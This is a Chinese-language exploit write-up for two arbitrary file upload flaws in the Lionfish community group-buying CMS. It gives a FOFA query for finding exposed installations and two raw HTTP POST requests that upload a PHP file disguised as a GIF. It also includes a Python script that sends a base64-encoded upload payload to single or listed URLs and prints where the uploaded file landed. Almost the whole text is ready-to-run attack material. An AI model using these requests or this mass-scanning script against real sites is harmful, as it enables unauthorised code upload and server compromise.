狮子鱼社区团购系统CMS任意文件2处上传漏洞

漏洞复现

FOFA语句

"/seller.php?s=/Public/login"

 

POC1

POST /Common/ckeditor/plugins/multiimg/dialogs/image_upload.php HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 213
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary8UaANmWAgM4BqBSs
Content-Disposition: form-data; name="files"; filename="shenye.php"
Content-Type: image/gif

<?php echo('shenye');?>
------WebKitFormBoundary8UaANmWAgM4BqBSs—

 

poc2

POST /wxapp.php?controller=Goods.doPageUpload HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 214
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary8UaANmWAgM4BqBSs
Content-Disposition: form-data; name="upfile"; filename="shenye.php"
Content-Type: image/gif

<?php echo('shenye');?>
------WebKitFormBoundary8UaANmWAgM4BqBSs--

脚本

import requests
import time
import re
import argparse
import urllib3
import base64
parser = argparse.ArgumentParser(description='This is the help!')
parser.add_argument('-u','--url', help='单个检测',default='')
parser.add_argument('-f','--file', help='多个检测',default='')
urllib3.disable_warnings()
args = parser.parse_args()
name = '''
   _____ _     _     _             
  / ____| |   (_)   (_)            
 | (___ | |__  _ _____ _   _ _   _ 
  ___ | '_ | |_  / | | | | | | |
  ____) | | | | |/ /| | |_| | |_| |
 |_____/|_| |_|_/___|_|__, |__,_|
                        __/ |      
                       |___/        
                                                              
FOFA语法："/seller.php?s=/Public/login"                                                            

'''
print(name)
def poc(url):
      target = url+"/wxapp.php?controller=Goods.doPageUpload"
      headers = {
           'Cache-Control': 'max-age=0',
           'Upgrade-Insecure-Requests': '1',
           'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs',
           'Origin': 'null',
           'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36',
           'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
           'Accept-Encoding': 'gzip, deflate',
           'Accept-Language': 'zh-CN,zh;q=0.9',
      }
      payload ='''
Ci0tLS0tLVdlYktpdEZvcm1Cb3VuZGFyeThVYUFObVdBZ000QnFCU3MKQ29udGVudC1EaXNwb3Np
dGlvbjogZm9ybS1kYXRhOyBuYW1lPSJ1cGZpbGUiOyBmaWxlbmFtZT0iVGVzdC5waHAiCkNvbnRl
bnQtVHlwZTogaW1hZ2UvZ2lmCgo8P3BocCBlY2hvKCdUZXN0Jyk7Pz4KLS0tLS0tV2ViS2l0Rm9y
bUJvdW5kYXJ5OFVhQU5tV0FnTTRCcUJTcy0tCgk=
      '''
      print("-"*60)
      try:
           r = requests.post(url=target,headers=headers,data=base64.decodebytes(payload.encode('utf-8')).decode(),timeout=8,verify=False)
           match = re.search(r'"image_o":"(.*?)",',r.text,re.I|re.M)
           s = match[1]
           s = s.replace('\','')
           print("正在检测："+url)
           print("上传成功请访问："+s)
      except:
           print("输入有误！")
      print("-"*60)
def more(file):
      f = open(file,'r')
      for i in f.readlines():
           i = i.strip()
           poc(i)
           print("n")
if __name__ == '__main__':
      if args.url !="" and args.file =="" :
           poc(args.url)
      if args.url =="" and args.file !="" :
           more(args.file)